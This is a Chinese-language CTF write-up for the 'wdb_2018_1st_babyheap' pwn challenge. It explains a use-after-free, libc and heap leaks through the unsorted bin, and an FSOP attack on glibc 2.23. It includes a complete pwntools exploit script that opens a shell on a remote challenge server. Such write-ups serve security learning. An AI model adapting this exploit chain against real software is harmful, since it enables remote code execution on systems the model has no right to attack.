wdb_2018_1st_babyheap

wdb_2018_1st_babyheap

查看保护
wdb_2018_1st_babyheap_第1张图片
wdb_2018_1st_babyheap_第2张图片
一个uaf漏洞这个程序内申请的堆块大小是固定的0x20。edit有限制
攻击思路:这里有两种攻击方法,一种是unlink,因为pie没开。还有一种是FSOP。
这里笔者unlink打不通,然后就采取了FSOP
首先肯定是泄露libc。因为FSOP需要_IO_list_all这个地方。
泄露libc一般是unstortedbin来泄露,所以这里想办法给出一个0x90以上的堆块
因为有uaf,再加上2.23下的libc.so,所以可以先泄露出heap_addr。
wdb_2018_1st_babyheap_第3张图片
show出即可。旁边这些设置为0x31是因为需要过2.23下的size检查
将这个fd给改成可以更改下一个堆块的地址。
wdb_2018_1st_babyheap_第4张图片
改0x31为0x91,然后free掉就会有一个unstrotedbin了。
拿到unstortedbin之后泄露出libc。再拿到_IO_list_all。
最后就是FSOP了,IOfile结构将vtable改成system。伪造io file的头为/bin/sh,这样的话在malloc_printer错误的时候会调用io_overflow。malloc错误的地址,使其触发IO_flush_all_lock_up。

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 25782)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

menu = 'Choice:'

def add(idx, data):
    r.sendlineafter("Choice:", "1")
    r.sendlineafter("Index:", str(idx))
    if len(data) != 0x20:
        r.sendlineafter("Content:", data)
    else:
        r.sendafter('Content:', data)

def edit(index, content):
    r.sendlineafter(menu, '2')
    r.sendlineafter('Index:', str(index))
    if len(content) != 0x20:
        r.sendlineafter('Content:', content)
    else:
        r.sendafter('Content:', content)

def show(idx):
    r.sendlineafter("Choice:", "3")
    r.sendlineafter("Index:", str(idx))


def delete(index):
    r.sendlineafter(menu, '4')
    r.sendlineafter('Index:', str(index))

p1 = p64(0) + p64(0x31) + p64(0) + p64(0x31)
add(0, p1)
add(1, p1)
add(2, 'a')
add(3, 'b')
add(4, "/bin/sh\x00")

delete(1)
delete(0)

show(0)

heap_addr = u64(r.recvuntil('\n').strip().ljust(8, b'\x00'))

edit(0, p64(heap_addr - 0x10))

add(5, "a")
add(6, p64(0) + p64(0x91))
add(7, p64(0) + p64(heap_addr - 0x20))

delete(1)

show(1)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10
libc = ELF('./2.23/libc-2.23.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
_IO_list_all = libc_base + libc.sym['_IO_list_all']
system_addr = libc.sym['system'] + libc_base

p2 = b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(_IO_list_all - 0x10)
edit(6, p2)
p3 = p64(0) * 3 + p64(system_addr)
edit(0, p3)

r.sendlineafter("Choice:", "1")
r.sendlineafter("Index:", str(8))

r.interactive()

你可能感兴趣的:(buuctf,题目,pwn)